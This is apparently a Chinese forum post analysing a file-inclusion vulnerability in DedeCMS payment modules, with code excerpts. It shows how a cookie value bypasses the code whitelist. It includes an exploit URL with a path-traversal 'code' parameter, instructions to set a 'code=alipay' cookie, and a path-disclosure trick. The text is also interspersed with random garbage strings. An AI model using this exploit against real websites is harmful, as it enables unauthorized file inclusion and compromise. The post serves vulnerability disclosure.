晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
3 P/ b' I" j0 B1 G
2 P9 G% o, Y$ ], C% e6 V# \; Z出现漏洞的两个文件为:1 S7 L" Q6 f2 c" o8 K6 |! m3 M
Include/payment/alipay.php
/ \7 E' q& D+ xInclude/payment/yeepay.php( B8 s( I6 `# Y8 g* e4 K
漏洞均出现在respond方法里,估计这两个文件是临时工写的。. F1 f+ ~9 M6 x, r* \4 `2 A: s( g' X
# P( a' @6 s' h! kInclude/payment/alipay.php$ A$ r: a- ~5 ?: `! y
7 M# ^; M- ^. _/ V e0 D......
& D2 h9 E6 A0 n ?8 i# C" E function respond()
6 ?3 ?5 ~) e" q* n- l' h* h* Z/ Y {7 ]9 u T; g; X( Q6 Y) r; U) k3 d
if (!empty($_POST)): ~/ N2 l# ~+ \. z: }
{
; c" |1 H3 p$ W1 }- D% i foreach($_POST as $key => $data)
5 i- @0 c& y9 B7 _/ @ {
G1 k% O5 G# h/ Z! I7 T $_GET[$key] = $data;* k1 ?8 k( x, n( s: ~( [
}( N( a0 {( F& R; ^2 [
} N* I9 Y* C6 d4 W! ^2 u$ D
/* 引入配置文件 */) ?; c5 ^9 t5 C
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
" \* B' ~- E. y+ c...... ) Q+ I* Y. r) c5 P
, T+ B( e+ i6 f2 s# V3 `/ S
4 L @8 F! z! U8 ?9 `- P
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
: o, H y$ ~& {5 W4 U8 k' g: ?/ [9 w1 Z' A0 g7 l4 I2 R
Include/payment/yeepay.php* m& R9 ?' n3 W) }
" d7 B# l% G3 D( x0 s
" `- |2 r0 V0 s3 u; z& I
% e, t4 ~) a' g$ P3 A; u a* {
......
8 Y! J ^3 {5 X5 h function respond()2 E: `$ U' s# d/ Z$ }" u$ w5 d, S$ t
{
4 u# j/ P# \8 V" \
1 f7 z( F+ k) ~ /* 引入配置文件 */" T4 G/ Q" ~2 O% M- D3 K! V& o
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
! N# M6 v9 M) H
4 V; B# w4 {3 T' I' } $p1_MerId = trim($payment['yp_account']);
& b. F7 x% H+ [4 n( J+ r $merchantKey = trim($payment['yp_key']);; x* g% L& p) {; s" S% @
......
2 N9 r+ K2 Y9 ] 9 [# ]$ z# @7 x7 |3 t. ^$ A8 p
" W, S1 D( z. I
6 Q$ n+ H+ G9 g6 }& k' J! |8 j* n V* o* g; F# r
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。, d. \+ }6 @' Q9 O9 m% V. S; p# u: E( m
2 e7 F: `; p4 _- G这两个方法在plus/carbuyaction.php文件调用。" P! g" [, s ~5 t! [5 I2 ]
3 L) [, K/ b( g* J3 U/ eplus/carbuyaction.php" j' U* p0 s+ M. C8 f3 u/ c
, O! X6 \* b% i3 M% u......% v" t+ P1 }2 b5 A
} else if ($dopost == 'return') {
/ j! N% @8 b2 B5 {" @' b4 ] $write_list = array('alipay', 'bank', 'cod', 'yeepay');) k5 H, z( J* `! a q' `
if (in_array($code, $write_list))
8 j3 y8 S- a' z. J/ e7 ] {0 p8 L8 B+ o! d( x
require_once DEDEINC.'/payment/'.$code.'.php';
, N2 e: H: ]6 I( [4 t9 L $pay = new $code;
. [1 Q; u8 {1 ~+ |4 b+ G. M $msg=$pay->respond();& e5 F% ^# Q& ]/ W4 H
ShowMsg($msg, "javascript:;", 0, 3000);) A0 z( _: x5 m/ ~3 ]
exit();
/ W# {( S7 X# c2 _$ _ } else {
* y/ l! J+ }8 H1 p exit('Error:File Type Can\'t Recognized!');" |/ {/ P/ W5 b% O
}
3 s& k& Z( _7 B! s' z}
" R6 M$ ^# _. Q6 x...... - }2 U8 `; R: H. C
/ _( T0 P6 A3 `- [! N$ o
8 `+ _: p! j' i S. M
) ~5 f% s9 o- O
" d5 }; r# ~) i. e/ t' m' g
6 _8 R5 [9 E. H* O$ j) ?
7 L+ ~* `2 x) l5 A: p
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。/ y9 V- c+ C+ j: j% K: c$ P) c
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
' g. e$ b7 `" f0 R U) w$ U! P1 I7 X J/ c/ V3 y" _
回到include/common.inc.php来看看他的机制。
8 Z: v H+ o5 @* y: T) i* @% W
' |: b, A! U" u' @" W
& z. z! P9 k# Z4 A' u q9 K' W5 t7 Y0 c
......
. D/ d$ R$ i9 N( ?5 z; O$ oforeach(Array('_GET','_POST','_COOKIE') as $_request)2 X) ] b5 |% M7 F
{
( J; M& N5 V8 @% R foreach($$_request as $_k => $_v)
& R: X( r' Q5 X! e6 }4 W {
; v7 r6 Y+ k9 @% B if($_k == 'nvarname') ${$_k} = $_v;
# X* D% d( R% Q& S& ]$ a" ] else ${$_k} = _RunMagicQuotes($_v);; M% { r) n8 `
}
1 k; L8 x# A. {- F% R) `3 R}
' L: p/ ~2 a9 t1 C......
, ^$ ^% ^8 ^' S7 R- s大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:1 A5 E: L6 T+ u7 j! v/ k
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |